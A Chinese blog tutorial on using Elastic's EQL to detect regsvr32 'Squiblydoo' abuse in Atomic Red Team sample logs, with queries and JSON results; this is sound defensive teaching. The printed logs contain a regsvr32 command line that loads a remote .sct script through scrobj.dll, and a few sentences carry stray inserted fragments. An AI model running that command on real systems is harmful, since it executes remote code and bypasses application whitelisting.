如何使用EQL检测安全威胁和其他可疑行为(组图)

许多查询语言允许您匹配单个事件。EQL 允许您匹配一系列不同事件类别和时间跨度的事件。

EQL 语法看起来像 SQL 等其他常见的查询语言。EQL 允许您直观地编写和读取查询,从而实现快速、迭代的搜索。

虽然您可以将它用于任何基于事件的数据,但我们为威胁追踪创建了 EQL。EQL 不仅支持入侵指标 (IOC) 搜索,还可以描述超出 IOC 范围的活动。

必填字段

要运行 EQL 搜索,搜索的数据流或索引必须包含时间戳和事件类别字段。默认情况下,EQL 使用 Elastic Common Schema (ECS) 中的 @timestamp 和 event.category 字段。要使用其他时间戳或事件类别字段,请参阅 。

提示:使用 EQL 不需要架构,但我们建议使用 ECS。默认情况下,EQL 搜索旨在使用核心 ECS 字段。

EQL 查询是什么样的?

使用 EQL 搜索 API 运行。如果启用了 Elasticsearch 安全功能,则您必须对目标流、索引或索引别名具有读取索引权限。

GET /my-index-000001/_eql/search
{
  "query": """
    process where process.name == "regsvr32.exe"
  """
}

默认情况下,基本 EQL 查询在 hits.events 属性中返回 10 个最近匹配的事件。命中按时间戳排序,自 Unix 纪元以来以毫秒为单位递增。

使用 size 参数获得更小或更大的匹配:

GET /my-index-000001/_eql/search
{
  "query": """
    process where process.name == "regsvr32.exe"
  """,
  "size": 50
}

使用 EQL 检测威胁

警告:此功能处于测试阶段,可能会发生变化。设计和代码不如官方 GA 功能成熟shdocvw.dll没有写权限,并且按原样提供,不提供任何形式的保证。Beta 功能不受官方 GA 功能的支持 SLA 约束。

接下来,我们将通过一个具体的例子来展示如何使用 EQL 语言进行威胁检测。本示例教程展示了如何使用 EQL 来检测安全威胁和其他可疑行为。在这种情况下,您有责任在 Windows 事件日志中检测 regsvr32 滥用情况。

regsvr32.exe 是一个内置的命令行实用程序,用于在 Windows 中注册 .dll 库。作为本机工具,regsvr32.exe 具有受信任的状态,允许它绕过大多数白名单软件和脚本拦截器。有权访问用户命令行的攻击者可以使用 regsvr32.exe 通过 .dll 库运行恶意脚本,即使这些脚本不会被允许运行。

regsvr32 滥用的一个常见变体是 Squfullydoo 攻击。在 Squfullydoo 攻击中,regsvr32.exe 命令使用 scrobj.dll 库来注册和运行远程脚本。这些命令通常如下所示:

"regsvr32.exe  /s /u /i: scrobj.dll"

准备数据

如果您阅读了我之前的练习“Elastic:Elastic 安全性入门”,您就会知道如何将安全数据提取到 Elasticsearch 中。本教程使用来自 Atomic Red Team 的测试数据集,其中包括模仿 Squibledoo 攻击的事件。数据映射到 Elastic Common Schema (ECS) 字段。

我们执行以下操作:

1)下载规范化-T1117-AtomicRed-regsvr32.json。

2)使用批量 API 来索引数据:

curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-index-000001/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"

3)使用 cat index API 验证数据是否已被索引:

GET /_cat/indices/my-index-000001?v=true&h=health,status,index,docs.count

如果我们做得对,上述命令的响应将显示 docs.count 为 150:

health status index           docs.count
yellow open   my-index-000001        150

我们需要在 Kibana 的控制台中运行上述命令。在下一个练习中,我们将使用 EQL 来查询我们刚刚导入的数据。

图片[1]-如何使用EQL检测安全威胁和其他可疑行为(组图)-老王博客

获取 regsvr32 事件的计数

首先,获取与 regsvr32.exe 进程关联的事件数:

GET /my-index-000001/_eql/search?filter_path=-hits.events (1)
{
  "query": """
    any where process.name == "regsvr32.exe"              (2)  
  """,
  "size": 200                                             (3)
}

在上面的查询中,解释如下:

?filter_path=-hits.events 从响应中排除 hits.events 属性。此搜索仅用于获取事件计数,而不是匹配事件的列表。匹配进程名称为 regsvr32.exe 的任何事件。返回最多 200 个匹配事件的命中。

上述查询的结果是:

{
  "is_partial" : false,
  "is_running" : false,
  "took" : 2,
  "timed_out" : false,
  "hits" : {
    "total" : {
      "value" : 143,
      "relation" : "eq"
    }
  }
}

我们看到 143 个结果。

检查命令行参数

regsvr32.exe 进程与 143 个事件相关联。但是首先如何调用 regsvr32.exe 呢?谁叫的?regsvr32.exe 是一个命令行实用程序。使用命令行将结果缩小到进程:

GET /my-index-000001/_eql/search
{
  "query": """
    process where process.name == "regsvr32.exe" and process.command_line.keyword != null
  """
}

查询将事件与创建的 event.type 匹配,指示 regsvr32.exe 进程的开始。根据事件的 process.command_line 值,regsvr32.exe 将脚本 RegSvr32.sct 注册到 scrobj.dll。这与 Squibledoo 攻击的行为一致。

{
  "is_partial" : false,
  "is_running" : false,
  "took" : 1,
  "timed_out" : false,
  "hits" : {
    "total" : {
      "value" : 1,
      "relation" : "eq"
    },
    "events" : [
      {
        "_index" : "my-index-000001",
        "_id" : "QOgYTXcBt_FAPjaSltOk",
        "_source" : {
          "process" : {
            "parent" : {
              "name" : "cmd.exe",
              "entity_id" : "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
              "executable" : """C:\Windows\System32\cmd.exe"""
            },
            "name" : "regsvr32.exe",
            "pid" : 2012,
            "entity_id" : "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
            "command_line" : "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
            "executable" : """C:\Windows\System32\regsvr32.exe""",
            "ppid" : 2652
          },
          "logon_id" : 217055,
          "@timestamp" : 131883573237130000,
          "event" : {
            "category" : "process",
            "type" : "creation"
          },
          "user" : {
            "full_name" : "bob",
            "domain" : "ART-DESKTOP",
            "id" : """ART-DESKTOP\bob"""
          }
        }
      }
    ]
  }
}

检查恶意脚本加载

检查 regsvr32.exe 是否稍后加载 scrobj.dll 库:

GET /my-index-000001/_eql/search
{
  "query": """
    library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
  """
}

查询匹配事件,确认 scrobj.dll 已加载。

{
  "is_partial" : false,
  "is_running" : false,
  "took" : 1,
  "timed_out" : false,
  "hits" : {
    "total" : {
      "value" : 1,
      "relation" : "eq"
    },
    "events" : [
      {
        "_index" : "my-index-000001",
        "_id" : "YOgYTXcBt_FAPjaSltOl",
        "_source" : {
          "process" : {
            "name" : "regsvr32.exe",
            "pid" : 2012,
            "entity_id" : "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
            "executable" : """C:\Windows\System32\regsvr32.exe"""
          },
          "dll" : {
            "path" : """C:\Windows\System32\scrobj.dll""",
            "name" : "scrobj.dll"
          },
          "@timestamp" : 131883573237450016,
          "event" : {
            "category" : "library"
          }
        }
      }
    ]
  }
}

确定成功的可能性

在许多情况下,攻击者使用恶意脚本连接到远程服务器或下载其他文件。使用 EQL 序列查询来检查以下事件序列:

regsvr32.exe进程通过同一个进程加载scrobj.dll库同一个进程中的任何网络事件

根据先前响应中看到的命令行值,您可以期望找到匹配项。但是,此查询不是为该特定命令设计的。相反shdocvw.dll没有写权限,它会寻找足以检测类似威胁的可疑行为模式。

GET /my-index-000001/_eql/search
{
  "query": """
    sequence by process.pid
      [process where process.name == "regsvr32.exe"]
      [library where dll.name == "scrobj.dll"]
      [network where true]
  """
}

查询与序列匹配,说明攻击可能成功。

{
  "is_partial" : false,
  "is_running" : false,
  "took" : 6,
  "timed_out" : false,
  "hits" : {
    "total" : {
      "value" : 1,
      "relation" : "eq"
    },
    "sequences" : [
      {
        "join_keys" : [
          2012
        ],
        "events" : [
          {
            "_index" : "my-index-000001",
            "_id" : "QOgYTXcBt_FAPjaSltOk",
            "_source" : {
              "process" : {
                "parent" : {
                  "name" : "cmd.exe",
                  "entity_id" : "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
                  "executable" : """C:\Windows\System32\cmd.exe"""
                },
                "name" : "regsvr32.exe",
                "pid" : 2012,
                "entity_id" : "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "command_line" : "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
                "executable" : """C:\Windows\System32\regsvr32.exe""",
                "ppid" : 2652
              },
              "logon_id" : 217055,
              "@timestamp" : 131883573237130000,
              "event" : {
                "category" : "process",
                "type" : "creation"
              },
              "user" : {
                "full_name" : "bob",
                "domain" : "ART-DESKTOP",
                "id" : """ART-DESKTOP\bob"""
              }
            }
          },
          {
            "_index" : "my-index-000001",
            "_id" : "YOgYTXcBt_FAPjaSltOl",
            "_source" : {
              "process" : {
                "name" : "regsvr32.exe",
                "pid" : 2012,
                "entity_id" : "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "executable" : """C:\Windows\System32\regsvr32.exe"""
              },
              "dll" : {
                "path" : """C:\Windows\System32\scrobj.dll""",
                "name" : "scrobj.dll"
              },
              "@timestamp" : 131883573237450016,
              "event" : {
                "category" : "library"
              }
            }
          },
          {
            "_index" : "my-index-000001",
            "_id" : "zugYTXcBt_FAPjaSltOl",
            "_source" : {
              "process" : {
                "name" : "regsvr32.exe",
                "pid" : 2012,
                "entity_id" : "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "executable" : """C:\Windows\System32\regsvr32.exe"""
              },
              "destination" : {
                "address" : "151.101.48.133",
                "port" : "443"
              },
              "source" : {
                "address" : "192.168.162.134",
                "port" : "50505"
              },
              "network" : {
                "direction" : "outbound",
                "protocol" : "tcp"
              },
              "@timestamp" : 131883573238680000,
              "event" : {
                "category" : "network"
              },
              "user" : {
                "full_name" : "bob",
                "domain" : "ART-DESKTOP",
                "id" : """ART-DESKTOP\bob"""
              }
            }
          }
        ]
      }
    ]
  }
}

从上面返回的三个事件中,我们可以看到它们发生的时间(@timestamp):

131883573237130000
131883573237450016
131883573238680000

即对安装的发送时间进行排序。上面的检查是严格按照事件发生的顺序排列的,即一次检查。

进一步阅读“Elasticsearch:为 Elastic 安全创建自定义检测规则”

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论